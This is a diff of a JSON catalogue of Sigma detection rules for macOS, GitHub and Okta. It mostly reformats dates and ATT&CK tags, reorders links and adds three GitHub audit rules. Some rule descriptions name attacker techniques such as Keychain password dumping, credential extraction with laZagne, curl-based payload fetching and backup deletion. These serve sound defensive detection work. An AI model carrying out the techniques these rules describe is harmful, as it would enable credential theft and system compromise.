"falsepositive": [ "Unknown" ], @@ -87067,7 +87242,7 @@ "description": "Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2024/01/02", + "creation_date": "2024-01-02", "falsepositive": [ "Legitimate administration activities" ], @@ -87076,10 +87251,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior", - "https://ss64.com/osx/csrutil.html", "https://objective-see.org/blog/blog_0x6D.html", + "https://ss64.com/osx/csrutil.html", + "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml" ], "tags": [ @@ -87103,7 +87278,7 @@ "description": "Detects enumeration of local systeam accounts on MacOS", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate administration activities" ], @@ -87136,7 +87311,7 @@ "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/21", + "creation_date": "2022-10-21", "falsepositive": [ "Unknown" ], @@ -87145,14 +87320,14 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" ], "tags": [ "attack.t1566", "attack.t1566.002", - "attack.initial_access", + "attack.initial-access", "attack.t1059", "attack.t1059.002", "attack.t1204", @@ -87160,7 +87335,7 @@ "attack.execution", "attack.persistence", "attack.t1553", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -87221,7 +87396,7 @@ "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Unknown" ], @@ -87238,7 +87413,7 @@ "attack.t1204", "attack.execution", "attack.t1140", - "attack.defense_evasion", + "attack.defense-evasion", "attack.s0482", "attack.s0402" ] @@ -87273,7 +87448,7 @@ "description": "Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/02/18", + "creation_date": "2023-02-18", "falsepositive": [ "Legitimate software uses the scripts (preinstall, postinstall)" ], @@ -87292,7 +87467,7 @@ "attack.t1071", "attack.t1071.001", "attack.execution", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -87332,7 +87507,7 @@ "description": "Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Unknown" ], @@ -87341,12 +87516,12 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.virustotal.com/gui/file/483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0/behavior", "https://www.virustotal.com/gui/file/16bafdf741e7a13137c489f3c8db1334f171c7cb13b62617d691b0a64783cc48/behavior", + "https://www.virustotal.com/gui/file/483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tail_base64_decode_from_image.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -87366,7 +87541,7 @@ "description": "Detects enumeration of local network configuration", "meta": { "author": "remotephone, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -87399,7 +87574,7 @@ "description": "Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware", "meta": { "author": "Sohan G (D4rkCiph3r), Red Canary (idea)", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Unknown" ], @@ -87412,7 +87587,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_in_memory_download_and_compile.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.execution", "attack.t1059.007", "attack.t1105" @@ -87441,7 +87616,7 @@ "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Unknown" ], @@ -87450,12 +87625,12 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", @@ -87465,7 +87640,7 @@ "description": "Detecting attempts to extract passwords with grep and laZagne", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Unknown" ], @@ -87478,7 +87653,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -87498,7 +87673,7 @@ "description": "Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/04/05", + "creation_date": "2023-04-05", "falsepositive": [ "Legitimate browser install, update and recovery scripts" ], @@ -87512,7 +87687,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_browser_child_process.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.execution", "attack.t1189", "attack.t1203", @@ -87549,7 +87724,7 @@ "description": "Detects the execution of the nscurl utility in order to download files.", "meta": { "author": "Daniel Cortez", - "creation_date": "2024/06/04", + "creation_date": "2024-06-04", "falsepositive": [ "Legitimate usage of nscurl by administrators and users." ], @@ -87558,14 +87733,14 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ + "https://www.loobins.io/binaries/nscurl/", "https://gist.github.com/nasbench/ca6ef95db04ae04ffd1e0b1ce709cadd", "https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl", - "https://www.loobins.io/binaries/nscurl/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1105" ] }, @@ -87585,7 +87760,7 @@ "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/10", + "creation_date": "2020-10-10", "falsepositive": [ "Legitimate administration activities" ], @@ -87598,7 +87773,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.002" ] }, @@ -87618,7 +87793,7 @@ "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -87652,7 +87827,7 @@ "description": "Detects passwords dumps from Keychain", "meta": { "author": "Tim Ismilyaev, oscd.community, Florian Roth (Nextron Systems)", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate administration activities" ], @@ -87661,12 +87836,12 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", "https://gist.github.com/Capybara/6228955", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.001" ] }, @@ -87686,7 +87861,7 @@ "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -87699,7 +87874,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -87719,7 +87894,7 @@ "description": "Detects the execution of \"system_profiler\" with specific \"Data Types\" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information.\nThis process is primarily used for system information discovery. However, \"system_profiler\" can also be used to determine if virtualization software is being run for defense evasion purposes.\n", "meta": { "author": "Stephen Lincoln `@slincoln_aiq` (AttackIQ)", - "creation_date": "2024/01/02", + "creation_date": "2024-01-02", "falsepositive": [ "Legitimate administrative activities" ], @@ -87728,17 +87903,17 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ + "https://www.trendmicro.com/en_za/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af", "https://objective-see.org/blog/blog_0x62.html", "https://www.sentinelone.com/wp-content/uploads/pdf-gen/1630910064/20-common-tools-techniques-used-by-macos-threat-actors-malware.pdf", "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", - "https://www.trendmicro.com/en_za/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", "https://ss64.com/mac/system_profiler.html", - "https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml" ], "tags": [ "attack.discovery", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1082", "attack.t1497.001" ] @@ -87766,7 +87941,7 @@ "description": "Detects usage of system utilities to discover system network connections", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -87799,7 +87974,7 @@ "description": "Detects deletion of local audit logs", "meta": { "author": "remotephone, oscd.community", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Legitimate administration activities" ], @@ -87812,7 +87987,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.002" ] }, @@ -87832,7 +88007,7 @@ "description": "Detects deletion attempts of MacOS Time Machine backups via the native backup utility \"tmutil\".\nAn adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.\n", "meta": { "author": "Pratinav Chandra", - "creation_date": "2024/05/29", + "creation_date": "2024-05-29", "falsepositive": [ "Legitimate activities" ], @@ -87841,8 +88016,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.loobins.io/binaries/tmutil/", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine", + "https://www.loobins.io/binaries/tmutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml" ], "tags": [ @@ -87866,7 +88041,7 @@ "description": "Detects possible collection of data from the clipboard via execution of the osascript binary", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Unlikely" ], @@ -87908,7 +88083,7 @@ "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -87941,7 +88116,7 @@ "description": "Detects commandline operations on shell history files", "meta": { "author": "Mikhail Larin, oscd.community", - "creation_date": "2020/10/17", + "creation_date": "2020-10-17", "falsepositive": [ "Legitimate administrative activity", "Legitimate software, cleaning hist file" @@ -87955,7 +88130,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.003" ] }, @@ -87975,7 +88150,7 @@ "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", "meta": { "author": "remotephone", - "creation_date": "2021/11/20", + "creation_date": "2021-11-20", "falsepositive": [ "Mistyped commands or legitimate binaries named to match the pattern" ], @@ -87988,7 +88163,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.006" ] }, @@ -88008,7 +88183,7 @@ "description": "Detects usage of system utilities to discover files and directories", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -88041,7 +88216,7 @@ "description": "Detects the addition of a new file or path exclusion to MacOS Time Machine via the \"tmutil\" utility.\nAn adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.\n", "meta": { "author": "Pratinav Chandra", - "creation_date": "2024/05/29", + "creation_date": "2024-05-29", "falsepositive": [ "Legitimate administrator activity" ], @@ -88050,8 +88225,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.loobins.io/binaries/tmutil/", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine", + "https://www.loobins.io/binaries/tmutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml" ], "tags": [ @@ -88075,7 +88250,7 @@ "description": "Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/02/18", + "creation_date": "2023-02-18", "falsepositive": [ "Unknown" ], @@ -88084,8 +88259,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://redcanary.com/blog/clipping-silver-sparrows-wings/", "https://www.manpagez.com/man/8/PlistBuddy/", + "https://redcanary.com/blog/clipping-silver-sparrows-wings/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_persistence_via_plistbuddy.yml" ], "tags": [ @@ -88117,7 +88292,7 @@ "description": "Detects when an user assumed another user account.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", + "creation_date": "2021-10-12", "falsepositive": [ "Unknown" ], @@ -88140,7 +88315,7 @@ "description": "Detects when an user account is locked or suspended.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/12", + "creation_date": "2021-10-12", "falsepositive": [ "System may lock or suspend user accounts." ], @@ -88163,7 +88338,7 @@ "description": "Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/03/07", + "creation_date": "2024-03-07", "falsepositive": [ "Allowed administrative activities." ], @@ -88172,12 +88347,12 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations", "https://thehackernews.com/2024/03/github-rolls-out-default-secret.html", + "https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_push_protection_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -88197,7 +88372,7 @@ "description": "Detects when a new member is added or invited to a github organization.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/29", + "creation_date": "2023-01-29", "falsepositive": [ "Organization approved new members" ], @@ -88230,7 +88405,7 @@ "description": "Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts.\nThis rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/27", + "creation_date": "2023-01-27", "falsepositive": [ "Approved changes by the Organization owner. Please validate the 'actor' if authorized to make the changes." ], @@ -88239,12 +88414,12 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts", "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization", + "https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disabled_outdated_dependency_or_vulnerability.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1195.001" ] }, @@ -88260,11 +88435,52 @@ "uuid": "34e1c7d4-0cd5-419d-9f1b-1dad3f61018d", "value": "Outdated Dependency Or Vulnerability Alert Disabled" }, + { + "description": "Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).\n", + "meta": { + "author": "Romain Gaillard (@romain-gaillard)", + "creation_date": "2024-07-29", + "falsepositive": [ + "Allowed administrative activities." + ], + "filename": "github_fork_private_repos_enabled_or_cleared.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "github", + "refs": [ + "https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#private_repository_forking", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_fork_private_repos_enabled_or_cleared.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1020", + "attack.t1537" + ] + }, + "related": [ + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "69b3bd1e-b38a-462f-9a23-fbdbf63d2294", + "value": "Github Fork Private Repositories Setting Enabled/Cleared" + }, { "description": "Detects when a user disables a critical security feature for an organization.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/29", + "creation_date": "2023-01-29", "falsepositive": [ "Approved administrator/owner activities." ], @@ -88273,14 +88489,15 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization", - "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions", "https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository", + "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions", + "https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization", + "https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_disable_high_risk_configuration.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.persistence", "attack.t1556" ] @@ -88301,7 +88518,7 @@ "description": "Detects if the secret scanning feature is disabled for an enterprise or repository.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/03/07", + "creation_date": "2024-03-07", "falsepositive": [ "Allowed administrative activities." ], @@ -88314,7 +88531,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_secret_scanning_feature_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -88330,11 +88547,55 @@ "uuid": "3883d9a0-fd0f-440f-afbb-445a2a799bb8", "value": "Github Secret Scanning Feature Disabled" }, + { + "description": "Detects when a repository or an organization is being transferred to another location.", + "meta": { + "author": "Romain Gaillard (@romain-gaillard)", + "creation_date": "2024-07-29", + "falsepositive": [ + "Allowed administrative activities." + ], + "filename": "github_repo_or_org_transferred.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "github", + "refs": [ + "https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository", + "https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership", + "https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration", + "https://docs.github.com/en/migrations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_repo_or_org_transferred.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1020", + "attack.t1537" + ] + }, + "related": [ + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "04ad83ef-1a37-4c10-b57a-81092164bf33", + "value": "Github Repository/Organization Transferred" + }, { "description": "Detects delete action in the Github audit logs for codespaces, environment, project and repo.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Validate the deletion activity is permitted. The \"actor\" field need to be validated." ], @@ -88368,7 +88629,7 @@ "description": "Detects when a user creates action secret for the organization, environment, codespaces or repository.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/20", + "creation_date": "2023-01-20", "falsepositive": [ "This detection cloud be noisy depending on the environment. It is recommended to keep a check on the new secrets when created and validate the \"actor\"." ], @@ -88381,10 +88642,10 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_new_secret_created.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.t1078.004" ] }, @@ -88400,11 +88661,46 @@ "uuid": "f9405037-bc97-4eb7-baba-167dad399b83", "value": "Github New Secret Created" }, + { + "description": "Detects when changes are made to the SSH certificate configuration of the organization.", + "meta": { + "author": "Romain Gaillard (@romain-gaillard)", + "creation_date": "2024-07-29", + "falsepositive": [ + "Allowed administrative activities." + ], + "filename": "github_ssh_certificate_config_changed.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "github", + "refs": [ + "https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities", + "https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#ssh_certificate_authority", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_ssh_certificate_config_changed.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege-escalation", + "attack.t1078.004" + ] + }, + "related": [ + { + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "2f575940-d85e-4ddc-af13-17dad6f1a0ef", + "value": "Github SSH Certificate Configuration Changed" + }, { "description": "Detects when a user bypasses the push protection on a secret detected by secret scanning.", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2024/03/07", + "creation_date": "2024-03-07", "falsepositive": [ "Allowed administrative activities." ], @@ -88413,12 +88709,12 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations", "https://thehackernews.com/2024/03/github-rolls-out-default-secret.html", + "https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_push_protection_bypass_detected.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -88438,7 +88734,7 @@ "description": "Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/20", + "creation_date": "2023-01-20", "falsepositive": [ "Validate the actor if permitted to access the repo.", "Validate the Multifactor Authentication changes." @@ -88448,8 +88744,8 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization", "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions", + "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_outside_collaborator_detected.yml" ], "tags": [ @@ -88490,7 +88786,7 @@ "description": "A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com.\nThis rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected,\nit should be validated from GitHub UI because the log entry may not provide full context.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf)", - "creation_date": "2023/01/27", + "creation_date": "2023-01-27", "falsepositive": [ "Allowed self-hosted runners changes in the environment.", "A self-hosted runner is automatically removed from GitHub if it has not connected to GitHub Actions for more than 14 days.", @@ -88501,18 +88797,18 @@ "logsource.category": "No established category", "logsource.product": "github", "refs": [ - "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation", "https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners", + "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/github/github_self_hosted_runner_changes_detected.yml" ], "tags": [ "attack.impact", "attack.discovery", "attack.collection", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.t1526", "attack.t1213.003", "attack.t1078.004" @@ -88548,7 +88844,7 @@ "description": "Detects when an Policy Rule is Modified or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88557,8 +88853,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" ], "tags": [ @@ -88572,7 +88868,7 @@ "description": "Detects when a new identity provider is created for Okta.", "meta": { "author": "kelnage", - "creation_date": "2023/09/07", 